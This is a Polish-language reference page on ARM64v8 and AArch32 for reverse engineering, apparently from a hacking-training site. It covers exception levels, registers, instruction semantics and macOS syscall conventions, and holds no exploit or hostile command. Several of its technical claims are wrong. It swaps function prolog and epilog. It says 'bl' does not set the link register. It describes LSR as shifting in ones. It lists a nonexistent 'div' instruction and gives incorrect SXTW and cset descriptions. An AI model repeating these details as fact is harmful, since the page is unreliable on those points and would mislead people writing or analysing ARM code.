Wprowadzenie do ARM64v8

Reading time: 34 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Poziomy Wyjątków - EL (ARM64v8)

W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), definiują poziom uprawnień i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy ma inny cel:

  1. EL0 - Tryb Użytkownika:
  • Jest to poziom o najmniejszych uprawnieniach i jest używany do wykonywania zwykłego kodu aplikacji.
  • Aplikacje działające na poziomie EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność.
  1. EL1 - Tryb Jądra Systemu Operacyjnego:
  • Większość jąder systemów operacyjnych działa na tym poziomie.
  • EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
  1. EL2 - Tryb Hypervisora:
  • Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym.
  • EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk.
  1. EL3 - Tryb Monitorowania Bezpieczeństwa:
  • Jest to poziom o najwyższych uprawnieniach i jest często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
  • EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny itp.).

Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzania różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprawnień pomaga w skutecznym izolowaniu różnych komponentów systemu, co zwiększa bezpieczeństwo i odporność systemu.

Rejestry (ARM64v8)

ARM64 ma 31 rejestrów ogólnego przeznaczenia, oznaczonych od x0 do x30. Każdy z nich może przechowywać wartość 64-bitową (8-bajtową). W przypadku operacji, które wymagają tylko wartości 32-bitowych, te same rejestry mogą być używane w trybie 32-bitowym, używając nazw w0 do w30.

  1. x0 do x7 - Zwykle używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów.
  • x0 również przenosi dane zwracane przez funkcję.
  1. x8 - W jądrze Linuxa, x8 jest używany jako numer wywołania systemowego dla instrukcji svc. W macOS używany jest x16!
  2. x9 do x15 - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
  3. x16 i x17 - Rejestry Wywołań Wewnątrzproceduralnych. Rejestry tymczasowe dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur).
  • x16 jest używany jako numer wywołania systemowego dla instrukcji svc w macOS.
  1. x18 - Rejestr platformy. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie wykonującej się struktury zadania w jądrze Linuxa.
  2. x19 do x28 - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
  3. x29 - Wskaźnik ramki do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr x29 jest przechowywany na stosie, a adres nowego wskaźnika ramki (adres sp) jest przechowywany w tym rejestrze.
  • Ten rejestr może być również używany jako rejestr ogólnego przeznaczenia, chociaż zazwyczaj jest używany jako odniesienie do zmiennych lokalnych.
  1. x30 lub lr - Rejestr łączenia. Przechowuje adres zwrotu, gdy wykonywana jest instrukcja BL (Branch with Link) lub BLR (Branch with Link to Register), przechowując wartość pc w tym rejestrze.
  • Może być również używany jak każdy inny rejestr.
  • Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać lr, przechowa ją na stosie na początku, to jest epilog (stp x29, x30 , [sp, #-48]; mov x29, sp -> Przechowaj fp i lr, wygeneruj przestrzeń i uzyskaj nowy fp) i odzyska ją na końcu, to jest prolog (ldp x29, x30, [sp], #48; ret -> Odzyskaj fp i lr i zwróć).
  1. sp - Wskaźnik stosu, używany do śledzenia szczytu stosu.
  • Wartość sp powinna być zawsze utrzymywana co najmniej w wyrównaniu quadword, w przeciwnym razie może wystąpić wyjątek wyrównania.
  1. pc - Licznik programu, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres pc w lr (Rejestr Łączenia).
  2. xzr - Rejestr zerowy. Nazywany również wzr w formie rejestru 32-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu subs, jak subs XZR, Xn, #10, przechowując wynikowe dane nigdzie (w xzr).

Rejestry Wn są 32-bitową wersją rejestru Xn.

Rejestry SIMD i zmiennoprzecinkowe

Ponadto istnieje kolejne 32 rejestry o długości 128 bitów, które mogą być używane w zoptymalizowanych operacjach SIMD (jedna instrukcja, wiele danych) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w 64-bitowym, 32-bitowym, 16-bitowym i 8-bitowym, a wtedy nazywane są Qn, Dn, Sn, Hn i Bn.

Rejestry systemowe

Istnieją setki rejestrów systemowych, zwanych również rejestrami specjalnego przeznaczenia (SPRs), które są używane do monitorowania i kontrolowania zachowania procesorów.
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji mrs i msr.

Specjalne rejestry TPIDR_EL0 i TPIDDR_EL0 są często spotykane podczas inżynierii odwrotnej. Sufiks EL0 wskazuje na minimalny wyjątek, z którego rejestr może być dostępny (w tym przypadku EL0 jest regularnym poziomem wyjątku (uprawnień), na którym działają zwykłe programy).
Często są używane do przechowywania adresu bazowego lokalizacji pamięci dla przechowywania lokalnego wątku. Zazwyczaj pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).

  • mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0
  • msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0

PSTATE

PSTATE zawiera kilka komponentów procesu zserializowanych w widocznym dla systemu operacyjnego SPSR_ELx specjalnym rejestrze, gdzie X oznacza poziom uprawnień wywołanego wyjątku (to pozwala na odzyskanie stanu procesu po zakończeniu wyjątku).
Oto dostępne pola:

  • Flagi warunkowe N, Z, C i V:
  • N oznacza, że operacja dała wynik ujemny
  • Z oznacza, że operacja dała zero
  • C oznacza, że operacja miała przeniesienie
  • V oznacza, że operacja dała przepełnienie ze znakiem:
  • Suma dwóch liczb dodatnich daje wynik ujemny.
  • Suma dwóch liczb ujemnych daje wynik dodatni.
  • W przypadku odejmowania, gdy duża liczba ujemna jest odejmowana od mniejszej liczby dodatniej (lub odwrotnie), a wynik nie może być reprezentowany w zakresie danej wielkości bitowej.
  • Oczywiście procesor nie wie, czy operacja jest ze znakiem, czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpiło przeniesienie w przypadku, gdy było to ze znakiem lub bez znaku.

warning

Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak CMP lub TST, to robią, a inne, które mają sufiks s, takie jak ADDS, również to robią.

  • Flaga szerokości rejestru (nRW): Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu.
  • Bieżący Poziom Wyjątków (EL): Zwykły program działający w EL0 będzie miał wartość 0.
  • Flaga jednoetapowego (SS): Używana przez debugery do jednoetapowego wykonania, ustawiając flagę SS na 1 wewnątrz SPSR_ELx przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy.
  • Flaga nielegalnego stanu wyjątku (IL): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
  • Flagi DAIF: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków.
  • Jeśli A wynosi 1, oznacza to, że będą wyzwalane asynchroniczne przerwania. Flaga I konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związana z szybkimi żądaniami przerwań (FIR).
  • Flagi wyboru wskaźnika stosu (SPS): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między SP_EL1 a EL0). To przełączanie odbywa się przez zapis do specjalnego rejestru SPSel. Nie można tego zrobić z EL0.

Konwencja Wywołań (ARM64v8)

Konwencja wywołań ARM64 określa, że pierwsze osiem parametrów do funkcji jest przekazywanych w rejestrach x0 do x7. Dodatkowe parametry są przekazywane na stosie. Wartość zwrotna jest przekazywana z powrotem w rejestrze x0, lub w x1, jeśli ma długość 128 bitów. Rejestry x19 do x30 oraz sp muszą być zachowane podczas wywołań funkcji.

Podczas odczytywania funkcji w asemblerze, zwróć uwagę na prolog i epilog funkcji. Prolog zazwyczaj obejmuje zapisanie wskaźnika ramki (x29), ustawienie nowego wskaźnika ramki i alokację przestrzeni na stosie. Epilog zazwyczaj obejmuje przywrócenie zapisanego wskaźnika ramki i powrót z funkcji.

Konwencja Wywołań w Swift

Swift ma swoją własną konwencję wywołań, którą można znaleźć w https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Typowe Instrukcje (ARM64v8)

Instrukcje ARM64 zazwyczaj mają format opcode dst, src1, src2, gdzie opcode to operacja, która ma być wykonana (taka jak add, sub, mov itp.), dst to rejestr docelowy, w którym zostanie przechowany wynik, a src1 i src2 to rejestry źródłowe. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych.

  • mov: Przenieś wartość z jednego rejestru do drugiego.

  • Przykład: mov x0, x1 — To przenosi wartość z x1 do x0.

  • ldr: Załaduj wartość z pamięci do rejestru.

  • Przykład: ldr x0, [x1] — To ładuje wartość z lokalizacji pamięci wskazywanej przez x1 do x0.

  • Tryb offsetu: Wskazuje na offset wpływający na oryginalny wskaźnik, na przykład:

  • ldr x2, [x1, #8], to załaduje w x2 wartość z x1 + 8

  • ldr x2, [x0, x1, lsl #2], to załaduje w x2 obiekt z tablicy x0, z pozycji x1 (indeks) * 4

  • Tryb wstępnie indeksowany: To zastosuje obliczenia do oryginału, uzyska wynik i również przechowa nowy oryginał w oryginale.

  • ldr x2, [x1, #8]!, to załaduje x1 + 8 w x2 i przechowa w x1 wynik x1 + 8

  • str lr, [sp, #-4]!, Zapisz rejestr łączenia w sp i zaktualizuj rejestr sp

  • Tryb postindeksowy: To jest jak poprzedni, ale adres pamięci jest uzyskiwany, a następnie obliczany i przechowywany jest offset.

  • ldr x0, [x1], #8, załaduj x1 w x0 i zaktualizuj x1 z x1 + 8

  • Adresowanie względne do PC: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC

  • ldr x1, =_start, To załaduje adres, w którym zaczyna się symbol _start w x1 w odniesieniu do bieżącego PC.

  • str: Zapisz wartość z rejestru do pamięci.

  • Przykład: str x0, [x1] — To zapisuje wartość w x0 do lokalizacji pamięci wskazywanej przez x1.

  • ldp: Załaduj parę rejestrów. Ta instrukcja ładuje dwa rejestry z kolejnych lokalizacji pamięci. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.

  • Przykład: ldp x0, x1, [x2] — To ładuje x0 i x1 z lokalizacji pamięci w x2 i x2 + 8, odpowiednio.

  • stp: Zapisz parę rejestrów. Ta instrukcja zapisuje dwa rejestry do kolejnych lokalizacji pamięci. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.

  • Przykład: stp x0, x1, [sp] — To zapisuje x0 i x1 do lokalizacji pamięci w sp i sp + 8, odpowiednio.

  • stp x0, x1, [sp, #16]! — To zapisuje x0 i x1 do lokalizacji pamięci w sp+16 i sp + 24, odpowiednio, i aktualizuje sp do sp+16.

  • add: Dodaj wartości dwóch rejestrów i przechowaj wynik w rejestrze.

  • Składnia: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Cel

  • Xn2 -> Operand 1

  • Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)

  • [shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX

  • Przykład: add x0, x1, x2 — To dodaje wartości w x1 i x2 razem i przechowuje wynik w x0.

  • add x5, x5, #1, lsl #12 — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000

  • adds To wykonuje add i aktualizuje flagi

  • sub: Odejmij wartości dwóch rejestrów i przechowaj wynik w rejestrze.

  • Sprawdź add składnię.

  • Przykład: sub x0, x1, x2 — To odejmuje wartość w x2 od x1 i przechowuje wynik w x0.

  • subs To jest jak sub, ale aktualizuje flagę

  • mul: Pomnóż wartości dwóch rejestrów i przechowaj wynik w rejestrze.

  • Przykład: mul x0, x1, x2 — To mnoży wartości w x1 i x2 i przechowuje wynik w x0.

  • div: Podziel wartość jednego rejestru przez inny i przechowaj wynik w rejestrze.

  • Przykład: div x0, x1, x2 — To dzieli wartość w x1 przez x2 i przechowuje wynik w x0.

  • lsl, lsr, asr, ror, rrx:

  • Logiczne przesunięcie w lewo: Dodaj 0 z końca, przesuwając inne bity do przodu (mnożenie przez n razy 2)

  • Logiczne przesunięcie w prawo: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w bez znaku)

  • Arytmetyczne przesunięcie w prawo: Jak lsr, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są 1 (**dzielenie przez n razy 2 w ze znakiem)

  • Obracanie w prawo: Jak lsr, ale cokolwiek usunięte z prawej strony jest dodawane z lewej

  • Obracanie w prawo z rozszerzeniem: Jak ror, ale z flagą przeniesienia jako "najbardziej znaczący bit". Tak więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia.

  • bfm: Przesunięcie Bitowe, te operacje kopiują bity 0...n z wartości i umieszczają je w pozycjach m..m+n. #s określa pozycję najbardziej lewego bitu, a #r ilość przesunięcia w prawo.

  • Przesunięcie bitowe: BFM Xd, Xn, #r

  • Przesunięcie bitowe ze znakiem: SBFM Xd, Xn, #r, #s

  • Przesunięcie bitowe bez znaku: UBFM Xd, Xn, #r, #s

  • Ekstrakcja i Wstawianie Bitów: Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru.

  • BFI X1, X2, #3, #4 Wstawia 4 bity z X2 z 3. bitu X1

  • BFXIL X1, X2, #3, #4 Ekstrahuje 4 bity z 3. bitu X2 i kopiuje je do X1

  • SBFIZ X1, X2, #3, #4 Rozszerza znak 4 bitów z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity

  • SBFX X1, X2, #3, #4 Ekstrahuje 4 bity zaczynając od bitu 3 z X2, rozszerza je ze znakiem i umieszcza wynik w X1

  • UBFIZ X1, X2, #3, #4 Zeruje 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity

  • UBFX X1, X2, #3, #4 Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik z rozszerzeniem zerowym w X1.

  • Rozszerzenie znaku do X: Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią:

  • SXTB X1, W2 Rozszerza znak bajtu z W2 do X1 (W2 jest połową X2) aby wypełnić 64 bity

  • SXTH X1, W2 Rozszerza znak liczby 16-bitowej z W2 do X1 aby wypełnić 64 bity

  • SXTW X1, W2 Rozszerza znak bajtu z W2 do X1 aby wypełnić 64 bity

  • UXTB X1, W2 Dodaje 0 (bez znaku) do bajtu z W2 do X1 aby wypełnić 64 bity

  • extr: Ekstrahuje bity z określonej pary rejestrów połączonych.

  • Przykład: EXTR W3, W2, W1, #3 To łączy W1+W2 i uzyskuje z bitu 3 W2 do bitu 3 W1 i przechowuje to w W3.

  • cmp: Porównaj dwa rejestry i ustaw flagi warunkowe. To jest alias subs ustawiający rejestr docelowy na rejestr zerowy. Przydatne do sprawdzenia, czy m == n.

  • Obsługuje tę samą składnię co subs

  • Przykład: cmp x0, x1 — To porównuje wartości w x0 i x1 i ustawia flagi warunkowe odpowiednio.

  • cmn: Porównaj operand ujemny. W tym przypadku to jest alias adds i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy m == -n.

  • ccmp: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> jeśli x1 != x2 i x3 < x4, skocz do func

  • Dzieje się tak, ponieważ ccmp zostanie wykonane tylko wtedy, gdy poprzedni cmp był NE, jeśli nie, bity nzcv zostaną ustawione na 0 (co nie zaspokoi porównania blt).

  • Może to być również używane jako ccmn (to samo, ale negatywne, jak cmp vs cmn).

  • tst: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1.

  • Przykład: tst X1, #7 Sprawdź, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1

  • teq: Operacja XOR, zrzucając wynik

  • b: Bezwarunkowy skok

  • Przykład: b myFunction

  • Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)

  • bl: Skok z łącznikiem, używany do wywołania podprogramu. Przechowuje adres zwrotu w x30.

  • Przykład: bl myFunction — To wywołuje funkcję myFunction i przechowuje adres zwrotu w x30.

  • Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)

  • blr: Skok z łącznikiem do rejestru, używany do wywołania podprogramu, gdzie cel jest określony w rejestrze. Przechowuje adres zwrotu w x30. (To jest

  • Przykład: blr x1 — To wywołuje funkcję, której adres znajduje się w x1 i przechowuje adres zwrotu w x30.

  • ret: Powrót z podprogramu, zazwyczaj używając adresu w x30.

  • Przykład: ret — To wraca z bieżącego podprogramu, używając adresu zwrotu w x30.

  • b.<cond>: Skoki warunkowe

  • b.eq: Skok, jeśli równo, na podstawie poprzedniej instrukcji cmp.

  • Przykład: b.eq label — Jeśli poprzednia instrukcja cmp znalazła dwie równe wartości, to skacze do label.

  • b.ne: Skok, jeśli nie równo. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.

  • Przykład: Po instrukcji cmp x0, x1, b.ne label — Jeśli wartości w x0 i x1 nie były równe, to skacze do label.

  • cbz: Porównaj i skocz, jeśli zero. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu.

  • Przykład: cbz x0, label — Jeśli wartość w x0 jest zerowa, to skacze do label.

  • cbnz: Porównaj i skocz, jeśli nie zero. Ta instrukcja porównuje rejestr z zerem, a jeśli nie są równe, skacze do etykiety lub adresu.

  • Przykład: cbnz x0, label — Jeśli wartość w x0 jest różna od zera, to skacze do label.

  • tbnz: Testuj bit i skocz, jeśli niezerowy

  • Przykład: tbnz x0, #8, label

  • tbz: Testuj bit i skocz, jeśli zero

  • Przykład: tbz x0, #8, label

  • Operacje wyboru warunkowego: To operacje, których zachowanie zmienia się w zależności od bitów warunkowych.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Jeśli prawda, Xd = NOT(Xn), jeśli fałsz, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = - Xm

  • cneg Xd, Xn, cond -> Jeśli prawda, Xd = - Xn, jeśli fałsz, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Jeśli prawda, Xd = 1, jeśli fałsz, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Jeśli prawda, Xd = <wszystkie 1>, jeśli fałsz, Xd = 0

  • adrp: Oblicz adres strony symbolu i przechowaj go w rejestrze.

  • Przykład: adrp x0, symbol — To oblicza adres strony symbolu i przechowuje go w x0.

  • ldrsw: Załaduj wartość 32-bitową ze znakiem z pamięci i rozszerz ją do 64 bitów.

  • Przykład: ldrsw x0, [x1] — To ładuje wartość 32-bitową ze znakiem z lokalizacji pamięci wskazywanej przez x1, rozszerza ją do 64 bitów i przechowuje w x0.

  • stur: Zapisz wartość rejestru do lokalizacji pamięci, używając offsetu z innego rejestru.

  • Przykład: stur x0, [x1, #4] — To zapisuje wartość w x0 do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w x1.

  • svc : Wykonaj wywołanie systemowe. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, przechodzi z trybu użytkownika do trybu jądra i skacze do określonej lokalizacji w pamięci, gdzie znajduje się kod obsługi wywołań systemowych jądra.

  • Przykład:

armasm
mov x8, 93  ; Załaduj numer wywołania systemowego dla zakończenia (93) do rejestru x8.
mov x0, 0   ; Załaduj kod statusu zakończenia (0) do rejestru x0.
svc 0       ; Wykonaj wywołanie systemowe.

Prolog Funkcji

  1. Zapisz rejestr łączenia i wskaźnik ramki na stosie:
armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Ustaw nowy wskaźnik ramki: mov x29, sp (ustawia nowy wskaźnik ramki dla bieżącej funkcji)
  2. Przydziel miejsce na stosie dla zmiennych lokalnych (jeśli to konieczne): sub sp, sp, <size> (gdzie <size> to liczba bajtów potrzebnych)

Epilog funkcji

  1. Zwolnij zmienne lokalne (jeśli jakieś zostały przydzielone): add sp, sp, <size>
  2. Przywróć rejestr linki i wskaźnik ramki:
armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Return: ret (zwraca kontrolę do wywołującego, używając adresu w rejestrze linków)

Stan Wykonania AARCH32

Armv8-A wspiera wykonanie programów 32-bitowych. AArch32 może działać w jednym z dwóch zestawów instrukcji: A32 i T32 i może przełączać się między nimi za pomocą interworking.
Privileged programy 64-bitowe mogą planować wykonanie programów 32-bitowych poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.
Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie bitu 4 w SPSR_ELx specjalnym rejestrze na 1, gdy wątek procesu AArch32 jest gotowy do wykonania, a reszta SPSR_ELx przechowuje CPSR programów AArch32. Następnie, uprzywilejowany proces wywołuje instrukcję ERET, aby procesor przeszedł do AArch32, wchodząc w A32 lub T32 w zależności od CPSR**.**

interworking zachodzi przy użyciu bitów J i T CPSR. J=0 i T=0 oznacza A32, a J=0 i T=1 oznacza T32. To zasadniczo oznacza ustawienie najniższego bitu na 1, aby wskazać, że zestaw instrukcji to T32.
Jest to ustawiane podczas instrukcji skoku interworking, ale może być również ustawiane bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:

Inny przykład:

armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Rejestry

Istnieje 16 rejestrów 32-bitowych (r0-r15). Od r0 do r14 mogą być używane do dowolnej operacji, jednak niektóre z nich są zazwyczaj zarezerwowane:

  • r15: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 aktualny + 8, w T32, aktualny + 4.
  • r11: Wskaźnik ramki
  • r12: Rejestr wywołania wewnątrz procedury
  • r13: Wskaźnik stosu
  • r14: Rejestr łączenia

Ponadto, rejestry są zapisywane w banked registries. Są to miejsca, które przechowują wartości rejestrów, umożliwiając szybkie przełączanie kontekstu w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.
Dzieje się to poprzez zapisanie stanu procesora z CPSR do SPSR trybu procesora, do którego wyjątek jest zgłaszany. Po powrocie z wyjątku, CPSR jest przywracany z SPSR.

CPSR - Rejestr Statusu Programu

W AArch32 CPSR działa podobnie do PSTATE w AArch64 i jest również przechowywany w SPSR_ELx, gdy wyjątek jest zgłaszany, aby później przywrócić wykonanie:

Pola są podzielone na kilka grup:

  • Rejestr Statusu Programu Aplikacji (APSR): Flagi arytmetyczne i dostępne z EL0
  • Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny).

Rejestr Statusu Programu Aplikacji (APSR)

  • Flagi N, Z, C, V (tak jak w AArch64)
  • Flaga Q: Jest ustawiana na 1, gdy występuje nasycenie całkowite podczas wykonywania specjalizowanej instrukcji arytmetycznej nasycającej. Gdy jest ustawiona na 1, utrzyma tę wartość, aż zostanie ręcznie ustawiona na 0. Ponadto, nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób impliczny, musi to być zrobione przez odczytanie jej ręcznie.
  • Flagi GE (Większe lub równe): Używane są w operacjach SIMD (Jedna Instrukcja, Wiele Danych), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają na przetwarzanie wielu punktów danych w jednej instrukcji.

Na przykład, instrukcja UADD8 dodaje cztery pary bajtów (z dwóch 32-bitowych operandów) równolegle i przechowuje wyniki w 32-bitowym rejestrze. Następnie ustawia flagi GE w APSR na podstawie tych wyników. Każda flaga GE odpowiada jednej z dodawanych par bajtów, wskazując, czy dodawanie dla tej pary bajtów przepełniło się.

Instrukcja SEL wykorzystuje te flagi GE do wykonywania warunkowych działań.

Rejestry Stanu Wykonania

  • Bity J i T: J powinien być 0, a jeśli T jest 0, używana jest instrukcja A32, a jeśli jest 1, używana jest T32.
  • Rejestr Stanu Bloku IT (ITSTATE): To bity od 10-15 i 25-26. Przechowują warunki dla instrukcji w grupie z prefiksem IT.
  • Bit E: Wskazuje na endianness.
  • Bity Maski Trybu i Wyjątku (0-4): Określają aktualny stan wykonania. 5. wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują tryb wyjątku aktualnie używany (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba wskazuje aktualny priorytet w przypadku, gdy inny wyjątek jest wyzwalany podczas obsługi tego.
  • AIF: Niektóre wyjątki mogą być wyłączone za pomocą bitów A, I, F. Jeśli A wynosi 1, oznacza to, że asynchroniczne aborcje będą wyzwalane. I konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związane z szybkimi żądaniami przerwań (FIR).

macOS

Wywołania systemowe BSD

Sprawdź syscalls.master. Wywołania systemowe BSD będą miały x16 > 0.

Pułapki Mach

Sprawdź w syscall_sw.c tabelę mach_trap_table oraz w mach_traps.h prototypy. Maksymalna liczba pułapek Mach to MACH_TRAP_TABLE_COUNT = 128. Pułapki Mach będą miały x16 < 0, więc musisz wywołać numery z poprzedniej listy z minusem: _kernelrpc_mach_vm_allocate_trap to -10.

Możesz również sprawdzić libsystem_kernel.dylib w dezasemblatorze, aby znaleźć, jak wywołać te (i BSD) wywołania systemowe:

bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Zauważ, że Ida i Ghidra mogą również dekompilować specyficzne dyliby z pamięci podręcznej, po prostu przekazując pamięć podręczną.

tip

Czasami łatwiej jest sprawdzić dekompilowany kod z libsystem_kernel.dylib niż sprawdzać kod źródłowy, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w dylib można znaleźć, co jest wywoływane.

wywołania machdep

XNU obsługuje inny typ wywołań zwany zależnymi od maszyny. Liczba tych wywołań zależy od architektury i ani wywołania, ani liczby nie są gwarantowane, że pozostaną stałe.

strona comm

To jest strona pamięci właściciela jądra, która jest mapowana w przestrzeni adresowej każdego procesu użytkownika. Ma na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra w porównaniu do używania wywołań systemowych dla usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.

Na przykład wywołanie gettimeofdate odczytuje wartość timeval bezpośrednio z strony comm.

objc_msgSend

Bardzo często można znaleźć tę funkcję używaną w programach Objective-C lub Swift. Ta funkcja pozwala na wywołanie metody obiektu Objective-C.

Parametry (więcej informacji w dokumentacji):

  • x0: self -> Wskaźnik do instancji
  • x1: op -> Selektor metody
  • x2... -> Reszta argumentów wywoływanej metody

